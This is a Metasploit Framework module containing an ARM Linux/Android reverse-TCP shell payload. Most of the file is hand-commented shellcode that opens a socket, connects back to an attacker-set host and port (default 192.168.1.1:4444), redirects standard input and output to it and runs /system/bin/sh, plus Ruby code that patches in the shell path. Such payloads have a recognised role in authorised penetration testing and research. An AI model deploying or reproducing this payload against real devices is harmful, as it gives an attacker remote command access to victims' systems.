metasploit-framework/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb

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##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/handler/reverse_tcp'
require 'msf/base/sessions/command_shell'
require 'msf/base/sessions/command_shell_options'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Linux
include Msf::Sessions::CommandShellOptions
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Command Shell, Reverse TCP Inline',
'Version' => '$Revision$',
'Description' => 'Connect back to attacker and spawn a command shell',
'Author' => 'civ',
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_ARMLE,
'Handler' => Msf::Handler::ReverseTcp,
'Session' => Msf::Sessions::CommandShellUnix,
'Payload' =>
{
'Offsets' =>
{
'LHOST' => [ 172, 'ADDR' ],
'LPORT' => [ 170, 'n' ],
},
'Payload' =>
[
#### Tested successfully on:
# Linux 2.6.29.6-cm42 armv6l
# Linux 2.6.29.6-cyanogenmod armv6l
# Linux version 2.6.25-00350-g40fff9a armv5l
# Linux version 2.6.27-00110-g132305e armv5l
# Linux version 2.6.29-00177-g24ee4d2 armv5l
# Linux version 2.6.29-00255-g7ca5167 armv5l
#
# Probably requires process to have INTERNET permission
# or root.
####
# socket(2,1,6)
0xe3a00002, # mov r0, #2 ; 0x2
0xe3a01001, # mov r1, #1 ; 0x1
0xe2812005, # add r2, r1, #5 ; 0x5
0xe3a0708c, # mov r7, #140 ; 0x8c
0xe287708d, # add r7, r7, #141 ; 0x8d
0xef000000, # svc 0x00000000
# connect(soc, socaddr, 0x10)
0xe1a06000, # mov r6, r0
0xe28f1084, # 1dr r1, pc, #132 ; 0x84
0xe3a02010, # mov r2, #16 ; 0x10
0xe3a0708d, # mov r7, #141 ; 0x8d
0xe287708e, # add r7, r7, #142 ; 0x8e
0xef000000, # svc 0x00000000
# dup2(soc,0) @stdin
0xe1a00006, # mov r0, r6
0xe3a01000, # mov r1, #0 ; 0x0
0xe3a0703f, # mov r7, #63 ; 0x3f
0xef000000, # svc 0x00000000
# dup2(soc,1) @stdout
0xe1a00006, # mov r0, r6
0xe3a01001, # mov r1, #1 ; 0x1
0xe3a0703f, # mov r7, #63 ; 0x3f
0xef000000, # svc 0x00000000
# dup2(soc,2) @stderr
0xe1a00006, # mov r0, r6
0xe3a01002, # mov r1, #2 ; 0x2
0xe3a0703f, # mov r7, #63 ; 0x3f
0xef000000, # svc 0x00000000
# execve("/system/bin/sh", args, env)
# Shrink me here. I am lame.
0xe28f0048, # add r0, pc, #72 ; 0x48
0xe0244004, # eor r4, r4, r4
0xe92d0010, # push {r4}
0xe1a0200d, # mov r2, sp
0xe92d0004, # push {r2}
0xe1a0200d, # mov r2, sp
0xe92d0010, # push {r4}
0xe59f1048, # ldr r1, [pc, #72] ; 8124 <env+0x8>
0xe92d0002, # push {r1}
0xe92d2000, # push {sp}
0xe1a0100d, # mov r1, sp
0xe92d0004, # push {r2}
0xe1a0200d, # mov r2, sp
0xe3a0700b, # mov r7, #11 ; 0xb
0xef000000, # svc 0x00000000
# exit(0)
0xe3a00000, # mov r0, #0 ; 0x0
0xe3a07001, # mov r7, #1 ; 0x1
0xef000000, # svc 0x00000000
# <af>:
# port offset = 170, ip offset = 172
0x04290002, # .word 0x5c110002 @ port: 4444 , sin_fam = 2
0x0101a8c0, # .word 0x0101a8c0 @ ip: 192.168.1.1
# <shell>:
0x00000000, # .word 0x00000000 ; the shell goes here!
0x00000000, # .word 0x00000000
0x00000000, # .word 0x00000000
0x00000000, # .word 0x00000000
# <arg>:
0x00000000 # .word 0x00000000 ; the args!
].pack("V*")
}
))
# Register command execution options
register_options(
[
OptString.new('SHELL', [ true, "The shell to execute.", "/system/bin/sh" ]),
OptString.new('SHELLARG', [ false, "The argument to pass to the shell.", "-C" ])
], self.class)
end
def generate
p = super
sh = datastore['SHELL']
if sh.length >= 16
raise ArgumentError, "The specified shell must be less than 16 bytes."
end
p[176, sh.length] = sh
arg = datastore['SHELLARG']
if arg
if arg.length >= 4
raise ArgumentError, "The specified shell argument must be less than 4 bytes."
end
p[192, arg.length] = arg
end
p
end
end